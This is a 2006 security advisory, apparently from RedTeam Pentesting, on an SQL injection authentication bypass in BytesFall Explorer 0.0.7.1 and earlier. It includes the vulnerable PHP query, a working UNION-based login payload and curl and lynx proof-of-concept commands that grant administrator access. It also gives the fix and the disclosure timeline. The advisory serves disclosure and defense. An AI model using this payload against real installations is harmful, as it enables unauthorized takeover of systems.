BytesFall-exp.txt

`Advisory: Authentication bypass in BytesFall Explorer  
  
A malicious user can bypass authentication and take over the role of the  
administrator of BytesFall Explorer by using an SQL injection. Several other  
SQL injections are possible.  
  
  
Details  
=======  
  
Product: BytesFall Explorer  
Affected Versions: <= 0.0.7.1  
Fixed Versions: 0.0.7.2  
Vulnerability Type: SQL injection  
Security-Risk: medium   
Vendor-URL: http://bfexplorer.sourceforge.net  
Vendor-Status: informed, fixed version released  
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-007.txt  
Advisory-Status: private  
CVE: CVE-2006-nnnn   
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-nnnn  
  
  
Introduction  
============  
  
BytesFall Explorer is a web-based file manager programmed in PHP and   
JavaScript  
and licensed under the GNU GPL. It allows to upload, download, view, edit,  
copy, move/rename and change permissions of a single file/directory or a group  
of files/directories.  
  
  
More Details  
============  
  
Because of missing user input sanitizations a malicious user can modify an SQL  
query in login/doLogin.php, line 13:  
  
13 $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';",  
$tables_preffix, $username));  
  
By using the username  
  
' union select  
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from  
bfe_users where ''='  
  
and password 'redteam' a user can login and take over the role of the  
administrator of BytesFall Explorer.  
  
Many other SQL injections in other files exist that can be exploited.  
  
  
Proof of Concept  
================  
  
Using curl:  
  
curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary  
"username=' union select  
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from  
bfe_users where ''='&Login=Login&password=redteam"  
  
or lynx:  
  
printf "username=' union select  
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from  
bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data  
http://www.example.com/bfExplorer/login/doLogin.php  
  
  
Workaround  
==========  
  
Use PHP Magic Quotes.  
  
  
Fix  
===  
  
Use PHP's mysql_escape_string() to sanitize variables containing user  
input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall  
Explorer is available.  
  
Security Risk  
=============  
  
RedTeam considers the security risc medium. BytesFall Explorer can be  
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes  
do not represent real security, they are a workaround for these problems.  
  
  
History  
=======  
  
2006-10-06 Discovery of the vulnerabilities  
2006-10-06 Vendor is informed  
2006-10-06 Vendor releases fixed version  
  
  
References  
==========  
  
http://bfexplorer.sourceforge.net  
  
  
RedTeam  
=======  
  
RedTeam Pentesting is offering individual penetration tests, short  
pentests, performed by a team of specialised IT-security experts.  
Hereby, security weaknesses in company networks are uncovered and can be  
fixed immediately.  
  
As there are only few experts in this field, RedTeam wants to share its  
knowledge and enhance the public knowledge with research in security  
related areas. The results are made available as public security  
advisories.  
  
More information about RedTeam can be found at  
http://www.redteam-pentesting.de.  
  
--   
RedTeam Pentesting Tel.: +49-241-963 1300  
Dennewartstr. 25-27 Fax : +49-241-963 1304  
52068 Aachen http://www.redteam-pentesting.de  
`